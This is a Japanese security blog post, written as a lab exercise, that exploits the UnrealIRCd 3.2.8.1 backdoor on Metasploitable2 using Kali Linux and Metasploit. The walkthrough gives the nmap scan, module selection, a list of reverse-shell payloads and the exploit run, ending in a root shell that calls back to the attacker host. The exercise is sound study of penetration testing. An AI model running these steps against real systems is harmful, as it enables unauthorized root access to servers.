Security Record

セキュリティ全般に関する情報を発信しています

Kali LinuxとMetasploitable2を使用してUnrealIRCd 3.2.8.1のバックドアを検証した

UnrealIRCd における脆弱性の概要

特定のバージョンにおけるUnrealIRCdには任意のコマンドを実行される脆弱性があるようです。

JVNには以下のように記載されています。

https://jvndb.jvn.jp/ja/contents/2010/JVNDB-2010-005500.html

2009 年 11 月から 2010 年 7 月まで特定のマイナーサイト上で配布された UnrealIRCd は、DEBUG3_DOLOG_SYSTEM マクロの外部に導入した変更 (トロイの木馬) を含むため、任意のコマンドを実行される脆弱性が存在します。

かなり古い脆弱性なので、現在運用されているシステムでこういった脆弱性が残っていることはほぼ皆無かと思いますが、脆弱性を利用した不正侵入の実験として試してみます。

IPアドレスの確認

まずは攻撃端末と標的端末のIPアドレスを確認します。

┌──(kali㉿kali)-[~]
└─$ ifconfig -a

攻撃端末・標的端末それぞれ以下のIPアドレスであることが確認できました。

攻撃端末(Kali Linux)192.168.28.5
標的端末(Metasploitable2)192.168.28.4

Metasploitフレームワークを起動

msfconsoleを実行してMetasploitフレームワークを起動します。

┌──(root㉿kali)-[/home/kali]
└─# msfconsole                
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.3.4-dev                           ]
+ -- --=[ 2294 exploits - 1201 auxiliary - 409 post       ]
+ -- --=[ 968 payloads - 45 encoders - 11 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Writing a custom module? After editing your 
module, why not try the reload command
Metasploit Documentation: https://docs.metasploit.com/

Nmapでポートスキャンを実行する

標的端末(Metasploitable2)をポートスキャンしてUnrealIRCdのポートが開放されているか確認します。

msf6 > nmap -sV 192.168.28.4 | grep Unreal
[*] exec: nmap -sV 192.168.28.4 | grep Unreal

6667/tcp open  irc         UnrealIRCd

ポート6667番が解放されている事が確認できました。

エクスプロイトがあるか確認します。

UnrealIRCd 3.2.8.1の脆弱性を利用したエクスプロイトがあるか、search コマンドで確認します。

msf6 > search unrealirc

Matching Modules
================

   #  Name                                        Disclosure Date  Rank       Check  Description
   -  ----                                        ---------------  ----       -----  -----------
   0  exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  No     UnrealIRCD 3.2.8.1 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/irc/unreal_ircd_3281_backdoor

エクスプロイトの存在を確認できました。
今回はこのエクスプロイトを利用してバックドアで侵入します。

エクスプロイトの情報確認

エクスプロイトの情報を確認します。
ポート6667を使用しているのでRHOSTで6667を指定します

msf6 > info exploit/unix/irc/unreal_ircd_3281_backdoor

       Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution
     Module: exploit/unix/irc/unreal_ircd_3281_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-12

Provided by:
  hdm <x@hdm.io>

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Target

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT   6667             yes       The target port (TCP)

Payload information:
  Space: 1024

使用できるペイロードの確認

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/cmd/unix/bind_perl                                   normal  No     Unix Command Shell, Bind TCP (via Perl)
   1   payload/cmd/unix/bind_perl_ipv6                              normal  No     Unix Command Shell, Bind TCP (via perl) IPv6
   2   payload/cmd/unix/bind_ruby                                   normal  No     Unix Command Shell, Bind TCP (via Ruby)
   3   payload/cmd/unix/bind_ruby_ipv6                              normal  No     Unix Command Shell, Bind TCP (via Ruby) IPv6
   4   payload/cmd/unix/generic                                     normal  No     Unix Command, Generic Command Execution
   5   payload/cmd/unix/reverse                                     normal  No     Unix Command Shell, Double Reverse TCP (telnet)
   6   payload/cmd/unix/reverse_bash_telnet_ssl                     normal  No     Unix Command Shell, Reverse TCP SSL (telnet)
   7   payload/cmd/unix/reverse_perl                                normal  No     Unix Command Shell, Reverse TCP (via Perl)
   8   payload/cmd/unix/reverse_perl_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via perl)
   9   payload/cmd/unix/reverse_ruby                                normal  No     Unix Command Shell, Reverse TCP (via Ruby)
   10  payload/cmd/unix/reverse_ruby_ssl                            normal  No     Unix Command Shell, Reverse TCP SSL (via Ruby)
   11  payload/cmd/unix/reverse_ssl_double_telnet                   normal  No     Unix Command Shell, Double Reverse TCP SSL (telnet)

ペイロードの設定

cmd/unix/reverseというペイロードを設定してみました。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/reverse

エクスプロイトの実行

実際に攻撃を仕掛けてみます。

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.28.5:4444 
[*] 192.168.28.4:6667 - Connected to 192.168.28.4:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] 192.168.28.4:6667 - Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo wDOrSsfo03rQYm3S;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "wDOrSsfo03rQYm3S\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (192.168.28.5:4444 -> 192.168.28.4:48752) at 2023-08-05 23:34:41 +0900

セッションが確立されたようです。

実際に侵入できたか確認する

実際に適当にLinuxコマンドを実行して、標的端末に入れているか確認します。

id
uid=0(root) gid=0(root)

uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

root権限で標的端末に入れていることが確認できました。

まとめ

手順としてはvsftpd 2.3.4のバックドアを利用したときとほとんど同じでした。 違いとしては使用するエクスプロイトやペイロードが異なることくらいです。

今回は学習として昔に見つかった脆弱性を利用した侵入テストを行いましたが、 どのような脆弱性であっても放置は厳禁です。